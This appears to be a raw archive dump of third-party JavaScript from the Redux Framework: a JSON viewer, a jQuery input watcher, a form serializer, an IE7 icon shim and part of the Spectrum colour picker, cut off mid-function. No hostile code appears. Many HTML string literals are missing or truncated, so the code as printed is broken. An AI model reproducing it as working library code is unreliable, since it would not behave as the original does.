    '),this.toHTML(r,n)},errorPage:function(e,t,n){var r='
    Error parsing JSON: '+e.message+"
    ";return r+="

    "+e.stack+":

    ",r+='
    '+this.htmlEncode(t)+"
    ",this.toHTML(r,n+" - Error")},toHTML:function(e){return e}},this.jsonFormatter=new u;var a="",f="",l="",c=r.exec(this.data);c&&c.length===3?(this.debug&&console.log("THIS IS JSONp"),l=c[1],f=c[2]):(this.debug&&console.log("Vanilla JSON"),f=this.data),this.debug&&console.log(f);try{var h=JSON.parse(f);if(!h)throw"There was no object!";a=this.jsonFormatter.jsonToHTML(h,l)}catch(p){this.debug&&console.log(p),a=this.jsonFormatter.errorPage(p,this.data)}var d="";this.targetType!==undefined&&(this.idType=this.targetType,this.id=this.target);var v;this.idType==="class"?(v=document.getElementsByClassName(this.id),v&&(v.className+=v.className?" jsonViewOutput":"jsonViewOutput",v.innerHTML=d+a)):this.idType==="id"&&(v=document.getElementById(this.id),v&&(v.className+=v.className?" jsonViewOutput":"jsonViewOutput",v.innerHTML=d+a),v.innerHTML=d+a);var m=document.getElementsByClassName("collapsible");for(var g=0;g= options.captureLength AND text != saved text OR if override AND text >= options.captureLength if ((value.length >= options.captureLength && value.toUpperCase() != timer.text) || (override && value.length >= options.captureLength)) { timer.text = value.toUpperCase(); timer.cb.call(timer.el, value); } }; function watchElement(elem) { var elementType = elem.type.toUpperCase(); if (jQuery.inArray(elementType, options.inputTypes) >= 0) { // Allocate timer element var timer = { timer: null, text: jQuery(elem).val().toUpperCase(), cb: options.callback, el: elem, wait: options.wait }; // Set focus action (highlight) if (options.highlight) { jQuery(elem).focus( function() { this.select(); }); } // Key watcher / clear and reset the timer var startWatch = function(evt) { var timerWait = timer.wait; var overrideBool = false; var evtElementType = this.type.toUpperCase(); // If enter key is pressed and not a TEXTAREA and matched inputTypes if (typeof evt.keyCode != 'undefined' && evt.keyCode == 13 && evtElementType != 'TEXTAREA' && jQuery.inArray(evtElementType, options.inputTypes) >= 0) { timerWait = 1; overrideBool = true; } var timerCallbackFx = function() { checkElement(timer, overrideBool) } // Clear timer clearTimeout(timer.timer); timer.timer = setTimeout(timerCallbackFx, timerWait); }; jQuery(elem).on('keydown paste cut input', startWatch); } }; // Watch Each Element return this.each(function() { watchElement(this); }); }; })(jQuery);lib/redux-framework/assets/js/vendor/jquery.serializeForm.js000064400000003172147206624460020354 0ustar00/* * serializeForm * https://github.com/danheberden/serializeForm * * Copyright (c) 2012 Dan Heberden * Licensed under the MIT, GPL licenses. */ (function( $ ){ $.fn.serializeForm = function() { // don't do anything if we didn't get any elements if ( this.length < 1) { return false; } var data = {}; var lookup = data; //current reference of data var selector = ':input[type!="checkbox"][type!="radio"], input:checked'; var parse = function() { // Ignore disabled elements if (this.disabled) { return; } // data[a][b] becomes [ data, a, b ] var named = this.name.replace(/\[([^\]]+)?\]/g, ',$1').split(','); var cap = named.length - 1; var $el = $( this ); // Ensure that only elements with valid `name` properties will be serialized if ( named[ 0 ] ) { for ( var i = 0; i < cap; i++ ) { // move down the tree - create objects or array if necessary lookup = lookup[ named[i] ] = lookup[ named[i] ] || ( (named[ i + 1 ] === "" || named[ i + 1 ] === '0') ? [] : {} ); } // at the end, push or assign the value if ( lookup.length !== undefined ) { lookup.push( $el.val() ); }else { lookup[ named[ cap ] ] = $el.val(); } // assign the reference back to root lookup = data; } }; // first, check for elements passed into this function this.filter( selector ).each( parse ); // then parse possible child elements this.find( selector ).each( parse ); // return data return data; }; }( jQuery ));lib/redux-framework/assets/js/vendor/lte-ie7.js000064400000023472147206624460015476 0ustar00/* Load this script using conditional IE comments if you need to support IE 7 and IE 6. */ window.onload = function() { function addIcon(el, entity) { var html = el.innerHTML; el.innerHTML = '' + entity + '' + html; } var icons = { 'icon-move' : '', 'icon-music' : '', 'icon-network' : '', 'icon-off' : '', 'icon-ok' : '', 'icon-ok-circle' : '', 'icon-ok-sign' : '', 'icon-paper-clip' : '', 'icon-paper-clip-alt' : '', 'icon-path' : '', 'icon-plus-sign' : '', 'icon-print' : '', 'icon-qrcode' : '', 'icon-question' : '', 'icon-question-sign' : '', 'icon-quotes' : '', 'icon-quotes-alt' : '', 'icon-random' : '', 'icon-record' : '', 'icon-reddit' : '', 'icon-refresh' : '', 'icon-screenshot' : '', 'icon-search' : '', 'icon-search-alt' : '', 'icon-share' : '', 'icon-share-alt' : '', 'icon-shopping-cart' : '', 'icon-shopping-cart-sign' : '', 'icon-signal' : '', 'icon-skype' : '', 'icon-slideshare' : '', 'icon-smiley' : '', 'icon-th-large' : '', 'icon-th-list' : '', 'icon-thumbs-down' : '', 'icon-thumbs-up' : '', 'icon-time' : '', 'icon-time-alt' : '', 'icon-tint' : '', 'icon-torso' : '', 'icon-trash' : '', 'icon-trash-alt' : '', 'icon-tumblr' : '', 'icon-w3c' : '', 'icon-warning-sign' : '', 'icon-website' : '', 'icon-website-alt' : '', 'icon-wheelchair' : '', 'icon-wordpress' : '', 'icon-wrench' : '', 'icon-wrench-alt' : '', 'icon-youtube' : '', 'icon-zoom-in' : '', 'icon-zoom-out' : '', 'icon-pause-alt' : '', 'icon-pencil' : '', 'icon-pencil-alt' : '', 'icon-person' : '', 'icon-phone' : '', 'icon-phone-alt' : '', 'icon-photo' : '', 'icon-photo-alt' : '', 'icon-picasa' : '', 'icon-picture' : '', 'icon-pinterest' : '', 'icon-plane' : '', 'icon-play-alt' : '', 'icon-play-circle' : '', 'icon-plus' : '', 'icon-remove' : '', 'icon-remove-circle' : '', 'icon-remove-sign' : '', 'icon-repeat' : '', 'icon-repeat-alt' : '', 'icon-resize-full' : '', 'icon-resize-horizontal' : '', 'icon-resize-small' : '', 'icon-resize-vertical' : '', 'icon-retweet' : '', 'icon-reverse-alt' : '', 'icon-road' : '', 'icon-rss' : '', 'icon-screen' : '', 'icon-screen-alt' : '', 'icon-smiley-alt' : '', 'icon-speaker' : '', 'icon-stackoverflow' : '', 'icon-star' : '', 'icon-star-alt' : '', 'icon-star-empty' : '', 'icon-stop-alt' : '', 'icon-stumbleupon' : '', 'icon-tag' : '', 'icon-tags' : '', 'icon-tasks' : '', 'icon-text-height' : '', 'icon-text-width' : '', 'icon-th' : '', 'icon-twitter' : '', 'icon-universal-access' : '', 'icon-unlock' : '', 'icon-unlock-alt' : '', 'icon-upload' : '', 'icon-user' : '', 'icon-video' : '', 'icon-video-alt' : '', 'icon-video-chat' : '', 'icon-view-mode' : '', 'icon-vimeo' : '', 'icon-vkontakte' : '', 'icon-volume-down' : '', 'icon-volume-off' : '', 'icon-volume-up' : '', 'icon-backward' : '', 'icon-fast-backward' : '', 'icon-fast-forward' : '', 'icon-forward' : '', 'icon-play' : '', 'icon-step-backward' : '', 'icon-step-forward' : '', 'icon-briefcase' : '', 'icon-bullhorn' : '', 'icon-calendar' : '', 'icon-calendar-sign' : '', 'icon-address-book' : '', 'icon-address-book-alt' : '', 'icon-adjust' : '', 'icon-adult' : '', 'icon-align-center' : '', 'icon-align-justify' : '', 'icon-align-left' : '', 'icon-align-right' : '', 'icon-arrow-down' : '', 'icon-arrow-left' : '', 'icon-arrow-right' : '', 'icon-arrow-up' : '', 'icon-asl' : '', 'icon-asterisk' : '', 'icon-ban-circle' : '', 'icon-barcode' : '', 'icon-behance' : '', 'icon-bell' : '', 'icon-blind' : '', 'icon-blogger' : '', 'icon-bold' : '', 'icon-book' : '', 'icon-bookmark' : '', 'icon-bookmark-empty' : '', 'icon-braille' : '', 'icon-camera' : '', 'icon-cc' : '', 'icon-certificate' : '', 'icon-check' : '', 'icon-check-empty' : '', 'icon-chevron-down' : '', 'icon-chevron-left' : '', 'icon-chevron-right' : '', 'icon-chevron-up' : '', 'icon-child' : '', 'icon-circle-arrow-down' : '', 'icon-circle-arrow-left' : '', 'icon-circle-arrow-right' : '', 'icon-circle-arrow-up' : '', 'icon-cloud' : '', 'icon-cloud-alt' : '', 'icon-cog' : '', 'icon-cog-alt' : '', 'icon-cogs' : '', 'icon-comment' : '', 'icon-comment-alt' : '', 'icon-compass' : '', 'icon-compass-alt' : '', 'icon-credit-card' : '', 'icon-css' : '', 'icon-dashboard' : '', 'icon-delicious' : '', 'icon-deviantart' : '', 'icon-digg' : '', 'icon-download' : '', 'icon-download-alt' : '', 'icon-dribble' : '', 'icon-edit' : '', 'icon-eject' : '', 'icon-envelope' : '', 'icon-envelope-alt' : '', 'icon-error' : '', 'icon-error-alt' : '', 'icon-exclamation-sign' : '', 'icon-eye-close' : '', 'icon-eye-open' : '', 'icon-facebook' : '', 'icon-facetime-video' : '', 'icon-female' : '', 'icon-file' : '', 'icon-file-alt' : '', 'icon-file-edit' : '', 'icon-file-edit-alt' : '', 'icon-file-new' : '', 'icon-file-new-alt' : '', 'icon-film' : '', 'icon-filter' : '', 'icon-fire' : '', 'icon-flag' : '', 'icon-flag-alt' : '', 'icon-flickr' : '', 'icon-folder' : '', 'icon-folder-close' : '', 'icon-folder-open' : '', 'icon-folder-sign' : '', 'icon-font' : '', 'icon-fontsize' : '', 'icon-forward-alt' : '', 'icon-foursquare' : '', 'icon-friendfeed' : '', 'icon-friendfeed-rect' : '', 'icon-fullscreen' : '', 'icon-gift' : '', 'icon-github' : '', 'icon-github-text' : '', 'icon-glass' : '', 'icon-glasses' : '', 'icon-globe' : '', 'icon-globe-alt' : '', 'icon-googleplus' : '', 'icon-graph' : '', 'icon-graph-alt' : '', 'icon-group' : '', 'icon-group-alt' : '', 'icon-guidedog' : '', 'icon-hand-down' : '', 'icon-hand-left' : '', 'icon-hand-right' : '', 'icon-hand-up' : '', 'icon-hdd' : '', 'icon-headphones' : '', 'icon-hearing-impaired' : '', 'icon-heart' : '', 'icon-heart-alt' : '', 'icon-heart-empty' : '', 'icon-home' : '', 'icon-home-alt' : '', 'icon-idea' : '', 'icon-idea-alt' : '', 'icon-inbox' : '', 'icon-inbox-alt' : '', 'icon-inbox-box' : '', 'icon-indent-left' : '', 'icon-indent-right' : '', 'icon-info-sign' : '', 'icon-instagram' : '', 'icon-iphone-home' : '', 'icon-italic' : '', 'icon-key' : '', 'icon-laptop' : '', 'icon-laptop-alt' : '', 'icon-leaf' : '', 'icon-linkedin' : '', 'icon-list' : '', 'icon-list-alt' : '', 'icon-lock' : '', 'icon-lock-alt' : '', 'icon-magnet' : '', 'icon-male' : '', 'icon-map-marker' : '', 'icon-map-marker-alt' : '', 'icon-mic' : '', 'icon-mic-alt' : '', 'icon-minus' : '', 'icon-minus-sign' : '', 'icon-pause' : '', 'icon-fork' : '', 'icon-broom' : '', 'icon-return-key' : '', 'icon-lastfm' : '', 'icon-livejournal' : '', 'icon-myspace' : '', 'icon-soundcloud' : '', 'icon-viadeo' : '', 'icon-spotify' : '', 'icon-caret-left' : '', 'icon-caret-up' : '', 'icon-caret-right' : '', 'icon-caret-down' : '', 'icon-stop' : '' }, els = document.getElementsByTagName('*'), i, attr, html, c, el; for (i = 0; ; i += 1) { el = els[i]; if(!el) { break; } attr = el.getAttribute('data-icon'); if (attr) { addIcon(el, attr); } c = el.className; c = c.match(/icon-[^\s'"]+/); if (c && icons[c[0]]) { addIcon(el, icons[c[0]]); } } };lib/redux-framework/assets/js/vendor/jsonview.js000064400000025115147206624460016070 0ustar00 /* global console, jsonView */ /* * ViewJSON * Version 1.0 * A Google Chrome extension to display JSON in a user-friendly format * * This is a chromeified version of the JSONView Firefox extension by Ben Hollis: * http://jsonview.com * http://code.google.com/p/jsonview * * Also based on the XMLTree Chrome extension by Moonty & alan.stroop * https://chrome.google.com/extensions/detail/gbammbheopgpmaagmckhpjbfgdfkpadb * * port by Jamie Wilkinson (@jamiew) | http://jamiedubs.com | http://github.com/jamiew * MIT license / copyfree (f) F.A.T. Lab http://fffff.at * Speed Project Approved: 2h */ function collapse(evt) { var collapser = evt.target; var target = collapser.parentNode.getElementsByClassName('collapsible'); if (!target.length) { return; } target = target[0]; if (target.style.display === 'none') { var ellipsis = target.parentNode.getElementsByClassName('ellipsis')[0]; target.parentNode.removeChild(ellipsis); target.style.display = ''; } else { target.style.display = 'none'; var ellipsis = document.createElement('span'); ellipsis.className = 'ellipsis'; ellipsis.innerHTML = ' … '; target.parentNode.insertBefore(ellipsis, target); } collapser.innerHTML = (collapser.innerHTML === '-') ? '+' : '-'; } function addCollapser(item) { // This mainly filters out the root object (which shouldn't be collapsible) if (item.nodeName !== 'LI') { return; } var collapser = document.createElement('div'); collapser.className = 'collapser'; collapser.innerHTML = '-'; collapser.addEventListener('click', collapse, false); item.insertBefore(collapser, item.firstChild); } function jsonView(id, target) { this.debug = false; if (id.indexOf("#") !== -1) { this.idType = "id"; this.id = id.replace('#', ''); } else if (id.indexOf(".") !== -1) { this.idType = "class"; this.id = id.replace('.', ''); } else { if (this.debug) { console.log("Can't find that element"); } return; } this.data = document.getElementById(this.id).innerHTML; if (typeof(target) !== undefined) { if (target.indexOf("#") !== -1) { this.targetType = "id"; this.target = target.replace('#', ''); } else if (id.indexOf(".") !== -1) { this.targetType = "class"; this.target = target.replace('.', ''); } else { if (this.debug) { console.log("Can't find the target element"); } return; } } // Note: now using "*.json*" URI matching rather than these page regexes -- save CPU cycles! // var is_json = /^\s*(\{.*\})\s*$/.test(this.data); // var is_jsonp = /^.*\(\s*(\{.*\})\s*\)$/.test(this.data); // if(is_json || is_jsonp){ // Our manifest specifies that we only do URLs matching '.json', so attempt to sanitize any HTML // added by Chrome's "text/plain" or "text/html" handlers if (/^\(.*)\<\/pre\>$/.test(this.data)) { if (this.debug) { console.log("JSONView: data is wrapped in
    ...
    , stripping HTML..."); } this.data = this.data.replace(/<(?:.|\s)*?>/g, ''); //Aggressively strip HTML. } // Test if what remains is JSON or JSONp var json_regex = /^\s*([\[\{].*[\}\]])\s*$/; // Ghetto, but it works var jsonp_regex = /^[\s\u200B\uFEFF]*([\w$\[\]\.]+)[\s\u200B\uFEFF]*\([\s\u200B\uFEFF]*([\[{][\s\S]*[\]}])[\s\u200B\uFEFF]*\);?[\s\u200B\uFEFF]*$/; var jsonp_regex2 = /([\[\{][\s\S]*[\]\}])\)/; // more liberal support... this allows us to pass the jsonp.json & jsonp2.json tests var is_json = json_regex.test(this.data); var is_jsonp = jsonp_regex.test(this.data); if (this.debug) { console.log("JSONView: is_json=" + is_json + " is_jsonp=" + is_jsonp); } if (is_json || is_jsonp) { if (this.debug) { console.log("JSONView: sexytime!"); } // JSONFormatter json->HTML prototype straight from Firefox JSONView // For reference: http://code.google.com/p/jsonview function JSONFormatter() { // No magic required. } JSONFormatter.prototype = { htmlEncode: function(t) { return t != null ? t.toString().replace(/&/g, "&").replace(/"/g, """).replace(//g, ">") : ''; }, decorateWithSpan: function(value, className) { return '' + this.htmlEncode(value) + ''; }, // Convert a basic JSON datatype (number, string, boolean, null, object, array) into an HTML fragment. valueToHTML: function(value) { var valueType = typeof value; var output = ""; if (value === null) { output += this.decorateWithSpan('null', 'null'); } else if (value && value.constructor === Array) { output += this.arrayToHTML(value); } else if (valueType === 'object') { output += this.objectToHTML(value); } else if (valueType === 'number') { output += this.decorateWithSpan(value, 'num'); } else if (valueType === 'string') { if (/^(http|https):\/\/[^\s]+$/.test(value)) { output += '' + this.htmlEncode(value) + ''; } else { output += this.decorateWithSpan('"' + value + '"', 'string'); } } else if (valueType === 'boolean') { output += this.decorateWithSpan(value, 'bool'); } return output; }, // Convert an array into an HTML fragment arrayToHTML: function(json) { var output = '[
      '; var hasContents = false; for (var prop in json) { hasContents = true; output += '
    • '; output += this.valueToHTML(json[prop]); output += '
    • '; } output += '
    ]'; if (!hasContents) { output = "[ ]"; } return output; }, // Convert a JSON object to an HTML fragment objectToHTML: function(json) { var output = '{
      '; var hasContents = false; for (var prop in json) { hasContents = true; output += '
    • '; output += '' + this.htmlEncode(prop) + ': '; output += this.valueToHTML(json[prop]); output += '
    • '; } output += '
    }'; if (!hasContents) { output = "{ }"; } return output; }, // Convert a whole JSON object into a formatted HTML document. jsonToHTML: function(json, callback, uri) { var output = ''; if (callback) { output += '
    ' + callback + ' (
    '; output += '
    '; } else { output += '
    '; } output += this.valueToHTML(json); output += '
    '; if (callback) { output += '
    )
    '; } return this.toHTML(output, uri); }, // Produce an error document for when parsing fails. errorPage: function(error, data, uri) { // var output = '
    ' + this.stringbundle.GetStringFromName('errorParsing') + '
    '; // output += '

    ' + this.stringbundle.GetStringFromName('docContents') + ':

    '; var output = '
    Error parsing JSON: ' + error.message + '
    '; output += '

    ' + error.stack + ':

    '; output += '
    ' + this.htmlEncode(data) + '
    '; return this.toHTML(output, uri + ' - Error'); }, // Wrap the HTML fragment in a full document. Used by jsonToHTML and errorPage. toHTML: function(content) { return content; } }; // Sanitize & output -- all magic from JSONView Firefox this.jsonFormatter = new JSONFormatter(); // This regex attempts to match a JSONP structure: // * Any amount of whitespace (including unicode nonbreaking spaces) between the start of the file and the callback name // * Callback name (any valid JavaScript function name according to ECMA-262 Edition 3 spec) // * Any amount of whitespace (including unicode nonbreaking spaces) // * Open parentheses // * Any amount of whitespace (including unicode nonbreaking spaces) // * Either { or [, the only two valid characters to start a JSON string. // * Any character, any number of times // * Either } or ], the only two valid closing characters of a JSON string. // * Any amount of whitespace (including unicode nonbreaking spaces) // * A closing parenthesis, an optional semicolon, and any amount of whitespace (including unicode nonbreaking spaces) until the end of the file. // This will miss anything that has comments, or more than one callback, or requires modification before use. var outputDoc = ''; // text = text.match(jsonp_regex)[1]; var cleanData = '', callback = ''; var callback_results = jsonp_regex.exec(this.data); if (callback_results && callback_results.length === 3) { if (this.debug) { console.log("THIS IS JSONp"); } callback = callback_results[1]; cleanData = callback_results[2]; } else { if (this.debug) { console.log("Vanilla JSON"); } cleanData = this.data; } if (this.debug) { console.log(cleanData); } // Covert, and catch exceptions on failure try { // var jsonObj = this.nativeJSON.decode(cleanData); var jsonObj = JSON.parse(cleanData); if (jsonObj) { outputDoc = this.jsonFormatter.jsonToHTML(jsonObj, callback); } else { throw "There was no object!"; } } catch (e) { if (this.debug) { console.log(e); } outputDoc = this.jsonFormatter.errorPage(e, this.data); } var links = ''; if (this.targetType !== undefined) { this.idType = this.targetType; this.id = this.target; } var el; if (this.idType === "class") { el = document.getElementsByClassName(this.id); if (el) { el.className += el.className ? ' jsonViewOutput' : 'jsonViewOutput'; el.innerHTML = links + outputDoc; } } else if (this.idType === "id") { el = document.getElementById(this.id); if (el) { el.className += el.className ? ' jsonViewOutput' : 'jsonViewOutput'; el.innerHTML = links + outputDoc; } el.innerHTML = links + outputDoc; } var items = document.getElementsByClassName('collapsible'); for (var i = 0; i < items.length; i++) { addCollapser(items[i].parentNode); } } else { // console.log("JSONView: this is not json, not formatting."); } }lib/redux-framework/assets/js/vendor/spectrum/redux-spectrum.js000064400000213551147206624460021060 0ustar00// Spectrum Colorpicker v1.3.3 // https://github.com/bgrins/spectrum // Author: Brian Grinstead // License: MIT (function (window, $, undefined) { var defaultOpts = { // Callbacks beforeShow: noop, move: noop, change: noop, show: noop, hide: noop, // Options color: false, flat: false, showInput: false, allowEmpty: false, showButtons: true, clickoutFiresChange: false, showInitial: false, showPalette: false, showPaletteOnly: false, showSelectionPalette: true, localStorageKey: false, appendTo: "body", maxSelectionSize: 7, cancelText: "cancel", chooseText: "choose", clearText: "Clear Color Selection", preferredFormat: false, className: "", // Deprecated - use containerClassName and replacerClassName instead. containerClassName: "", replacerClassName: "", showAlpha: false, theme: "sp-light", palette: [["#ffffff", "#000000", "#ff0000", "#ff8000", "#ffff00", "#008000", "#0000ff", "#4b0082", "#9400d3"]], selectionPalette: [], disabled: false, inputText: '' }, spectrums = [], IE = !!/msie/i.exec( window.navigator.userAgent ), rgbaSupport = (function() { function contains( str, substr ) { return !!~('' + str).indexOf(substr); } var elem = document.createElement('div'); var style = elem.style; style.cssText = 'background-color:rgba(0,0,0,.5)'; return contains(style.backgroundColor, 'rgba') || contains(style.backgroundColor, 'hsla'); })(), inputTypeColorSupport = (function() { var colorInput = $("")[0]; return colorInput.type === "color" && colorInput.value !== "#ffffff"; })(), replaceInput = [ "
    ", "
    ", "
    ", //"
    " + opts.inputText + "
    ", "
    " ].join(''), markup = (function () { // IE does not support gradients with multiple stops, so we need to simulate // that for the rainbow slider with 8 divs that each have a single gradient var gradientFix = ""; if (IE) { for (var i = 1; i <= 6; i++) { gradientFix += "
    "; } } return [ "
    ", "
    ", "
    ", "
    ", "
    ", "
    ", "
    ", "
    ", "
    ", "
    ", "
    ", "
    ", "
    ", "
    ", "
    ", "
    ", "
    ", "
    ", "
    ", gradientFix, "
    ", "
    ", "
    ", "
    ", "
    ", "", "
    ", "
    ", "
    ", "", "", "
    ", "
    ", "
    " ].join(""); })(); function paletteTemplate (p, color, className, tooltipFormat) { var html = []; for (var i = 0; i < p.length; i++) { var current = p[i]; if(current) { var tiny = tinycolor(current); var c = tiny.toHsl().l < 0.5 ? "sp-thumb-el sp-thumb-dark" : "sp-thumb-el sp-thumb-light"; c += (tinycolor.equals(color, current)) ? " sp-thumb-active" : ""; var formattedString = tiny.toString(tooltipFormat || "rgb"); var swatchStyle = rgbaSupport ? ("background-color:" + tiny.toRgbString()) : "filter:" + tiny.toFilter(); html.push(''); } else { var cls = 'sp-clear-display'; html.push(''); } } return "
    " + html.join('') + "
    "; } function hideAll() { for (var i = 0; i < spectrums.length; i++) { if (spectrums[i]) { spectrums[i].hide(); } } } function instanceOptions(o, callbackContext) { var opts = $.extend({}, defaultOpts, o); opts.callbacks = { 'move': bind(opts.move, callbackContext), 'change': bind(opts.change, callbackContext), 'show': bind(opts.show, callbackContext), 'hide': bind(opts.hide, callbackContext), 'beforeShow': bind(opts.beforeShow, callbackContext) }; return opts; } function spectrum(element, o) { var opts = instanceOptions(o, element), flat = opts.flat, showSelectionPalette = opts.showSelectionPalette, localStorageKey = opts.localStorageKey, theme = opts.theme, callbacks = opts.callbacks, resize = throttle(reflow, 10), visible = false, dragWidth = 0, dragHeight = 0, dragHelperHeight = 0, slideHeight = 0, slideWidth = 0, alphaWidth = 0, alphaSlideHelperWidth = 0, slideHelperHeight = 0, currentHue = 0, currentSaturation = 0, currentValue = 0, currentAlpha = 1, palette = [], paletteArray = [], paletteLookup = {}, selectionPalette = opts.selectionPalette.slice(0), maxSelectionSize = opts.maxSelectionSize, draggingClass = "sp-dragging", inputText = opts.inputText, shiftMovementDirection = null; var doc = element.ownerDocument, body = doc.body, boundElement = $(element), disabled = false, container = $(markup, doc).addClass(theme), dragger = container.find(".sp-color"), dragHelper = container.find(".sp-dragger"), slider = container.find(".sp-hue"), slideHelper = container.find(".sp-slider"), alphaSliderInner = container.find(".sp-alpha-inner"), alphaSlider = container.find(".sp-alpha"), alphaSlideHelper = container.find(".sp-alpha-handle"), textInput = container.find(".sp-input"), paletteContainer = container.find(".sp-palette"), initialColorContainer = container.find(".sp-initial"), cancelButton = container.find(".sp-cancel"), clearButton = container.find(".sp-clear"), chooseButton = container.find(".sp-choose"), isInput = boundElement.is("input"), isInputTypeColor = isInput && inputTypeColorSupport && boundElement.attr("type") === "color", shouldReplace = isInput && !flat, replacer = (shouldReplace) ? $(replaceInput).addClass(theme).addClass(opts.className).addClass(opts.replacerClassName) : $([]), offsetElement = (shouldReplace) ? replacer : boundElement, previewElement = replacer.find(".sp-preview-inner"), initialColor = opts.color || (isInput && boundElement.val()), colorOnShow = false, preferredFormat = opts.preferredFormat, currentPreferredFormat = preferredFormat, clickoutFiresChange = !opts.showButtons || opts.clickoutFiresChange, isEmpty = !initialColor, allowEmpty = opts.allowEmpty && !isInputTypeColor; if (inputText !== '') { var x = $(offsetElement).find('div.sp-dd'); x.text(inputText); } function applyOptions() { if (opts.showPaletteOnly) { opts.showPalette = true; } if (opts.palette) { palette = opts.palette.slice(0); paletteArray = $.isArray(palette[0]) ? palette : [palette]; paletteLookup = {}; for (var i = 0; i < paletteArray.length; i++) { for (var j = 0; j < paletteArray[i].length; j++) { var rgb = tinycolor(paletteArray[i][j]).toRgbString(); paletteLookup[rgb] = true; } } } container.toggleClass("sp-flat", flat); container.toggleClass("sp-input-disabled", !opts.showInput); container.toggleClass("sp-alpha-enabled", opts.showAlpha); container.toggleClass("sp-clear-enabled", allowEmpty); container.toggleClass("sp-buttons-disabled", !opts.showButtons); container.toggleClass("sp-palette-disabled", !opts.showPalette); container.toggleClass("sp-palette-only", opts.showPaletteOnly); container.toggleClass("sp-initial-disabled", !opts.showInitial); container.addClass(opts.className).addClass(opts.containerClassName); reflow(); } function initialize() { if (IE) { container.find("*:not(input)").attr("unselectable", "on"); } applyOptions(); if (shouldReplace) { boundElement.after(replacer).hide(); } if (!allowEmpty) { clearButton.hide(); } if (flat) { boundElement.after(container).hide(); } else { var appendTo = opts.appendTo === "parent" ? boundElement.parent() : $(opts.appendTo); if (appendTo.length !== 1) { appendTo = $("body"); } appendTo.append(container); } updateSelectionPaletteFromStorage(); offsetElement.bind("click.spectrum touchstart.spectrum", function (e) { if (!disabled) { toggle(); } e.stopPropagation(); if (!$(e.target).is("input")) { e.preventDefault(); } }); if(boundElement.is(":disabled") || (opts.disabled === true)) { disable(); } // Prevent clicks from bubbling up to document. This would cause it to be hidden. container.click(stopPropagation); // Handle user typed input textInput.change(setFromTextInput); textInput.bind("paste", function () { setTimeout(setFromTextInput, 1); }); textInput.keydown(function (e) { if (e.keyCode == 13) { setFromTextInput(); } }); cancelButton.text(opts.cancelText); cancelButton.bind("click.spectrum", function (e) { e.stopPropagation(); e.preventDefault(); hide("cancel"); }); clearButton.attr("title", opts.clearText); clearButton.bind("click.spectrum", function (e) { e.stopPropagation(); e.preventDefault(); isEmpty = true; move(); if(flat) { //for the flat style, this is a change event updateOriginalInput(true); } }); chooseButton.text(opts.chooseText); chooseButton.bind("click.spectrum", function (e) { e.stopPropagation(); e.preventDefault(); if (isValid()) { updateOriginalInput(true); hide(); } }); draggable(alphaSlider, function (dragX, dragY, e) { currentAlpha = (dragX / alphaWidth); isEmpty = false; if (e.shiftKey) { currentAlpha = Math.round(currentAlpha * 10) / 10; } move(); }, dragStart, dragStop); draggable(slider, function (dragX, dragY) { currentHue = parseFloat(dragY / slideHeight); isEmpty = false; if (!opts.showAlpha) { currentAlpha = 1; } move(); }, dragStart, dragStop); draggable(dragger, function (dragX, dragY, e) { // shift+drag should snap the movement to either the x or y axis. if (!e.shiftKey) { shiftMovementDirection = null; } else if (!shiftMovementDirection) { var oldDragX = currentSaturation * dragWidth; var oldDragY = dragHeight - (currentValue * dragHeight); var furtherFromX = Math.abs(dragX - oldDragX) > Math.abs(dragY - oldDragY); shiftMovementDirection = furtherFromX ? "x" : "y"; } var setSaturation = !shiftMovementDirection || shiftMovementDirection === "x"; var setValue = !shiftMovementDirection || shiftMovementDirection === "y"; if (setSaturation) { currentSaturation = parseFloat(dragX / dragWidth); } if (setValue) { currentValue = parseFloat((dragHeight - dragY) / dragHeight); } isEmpty = false; if (!opts.showAlpha) { currentAlpha = 1; } move(); }, dragStart, dragStop); if (!!initialColor) { set(initialColor); // In case color was black - update the preview UI and set the format // since the set function will not run (default color is black). updateUI(); currentPreferredFormat = preferredFormat || tinycolor(initialColor).format; addColorToSelectionPalette(initialColor); } else { updateUI(); } if (flat) { show(); } function palletElementClick(e) { if (e.data && e.data.ignore) { set($(this).data("color")); move(); } else { set($(this).data("color")); move(); updateOriginalInput(true); hide(); } return false; } var paletteEvent = IE ? "mousedown.spectrum" : "click.spectrum touchstart.spectrum"; paletteContainer.delegate(".sp-thumb-el", paletteEvent, palletElementClick); initialColorContainer.delegate(".sp-thumb-el:nth-child(1)", paletteEvent, { ignore: true }, palletElementClick); } function updateSelectionPaletteFromStorage() { if (localStorageKey && window.localStorage) { // Migrate old palettes over to new format. May want to remove this eventually. try { var oldPalette = window.localStorage[localStorageKey].split(",#"); if (oldPalette.length > 1) { delete window.localStorage[localStorageKey]; $.each(oldPalette, function(i, c) { addColorToSelectionPalette(c); }); } } catch(e) { } try { selectionPalette = window.localStorage[localStorageKey].split(";"); } catch (e) { } } } function addColorToSelectionPalette(color) { if (showSelectionPalette) { var rgb = tinycolor(color).toRgbString(); if (!paletteLookup[rgb] && $.inArray(rgb, selectionPalette) === -1) { selectionPalette.push(rgb); while(selectionPalette.length > maxSelectionSize) { selectionPalette.shift(); } } if (localStorageKey && window.localStorage) { try { window.localStorage[localStorageKey] = selectionPalette.join(";"); } catch(e) { } } } } function getUniqueSelectionPalette() { var unique = []; if (opts.showPalette) { for (i = 0; i < selectionPalette.length; i++) { var rgb = tinycolor(selectionPalette[i]).toRgbString(); if (!paletteLookup[rgb]) { unique.push(selectionPalette[i]); } } } return unique.reverse().slice(0, opts.maxSelectionSize); } function drawPalette() { var currentColor = get(); var html = $.map(paletteArray, function (palette, i) { return paletteTemplate(palette, currentColor, "sp-palette-row sp-palette-row-" + i, opts.preferredFormat); }); updateSelectionPaletteFromStorage(); if (selectionPalette) { html.push(paletteTemplate(getUniqueSelectionPalette(), currentColor, "sp-palette-row sp-palette-row-selection", opts.preferredFormat)); } paletteContainer.html(html.join("")); } function drawInitial() { if (opts.showInitial) { var initial = colorOnShow; var current = get(); initialColorContainer.html(paletteTemplate([initial, current], current, "sp-palette-row-initial", opts.preferredFormat)); } } function dragStart() { if (dragHeight <= 0 || dragWidth <= 0 || slideHeight <= 0) { reflow(); } container.addClass(draggingClass); shiftMovementDirection = null; boundElement.trigger('dragstart.spectrum', [ get() ]); } function dragStop() { container.removeClass(draggingClass); boundElement.trigger('dragstop.spectrum', [ get() ]); } function setFromTextInput() { var value = textInput.val(); if ((value === null || value === "") && allowEmpty) { set(null); updateOriginalInput(true); } else { var tiny = tinycolor(value); if (tiny.ok) { set(tiny); updateOriginalInput(true); } else { textInput.addClass("sp-validation-error"); } } } function toggle() { if (visible) { hide(); } else { show(); } } function show() { var 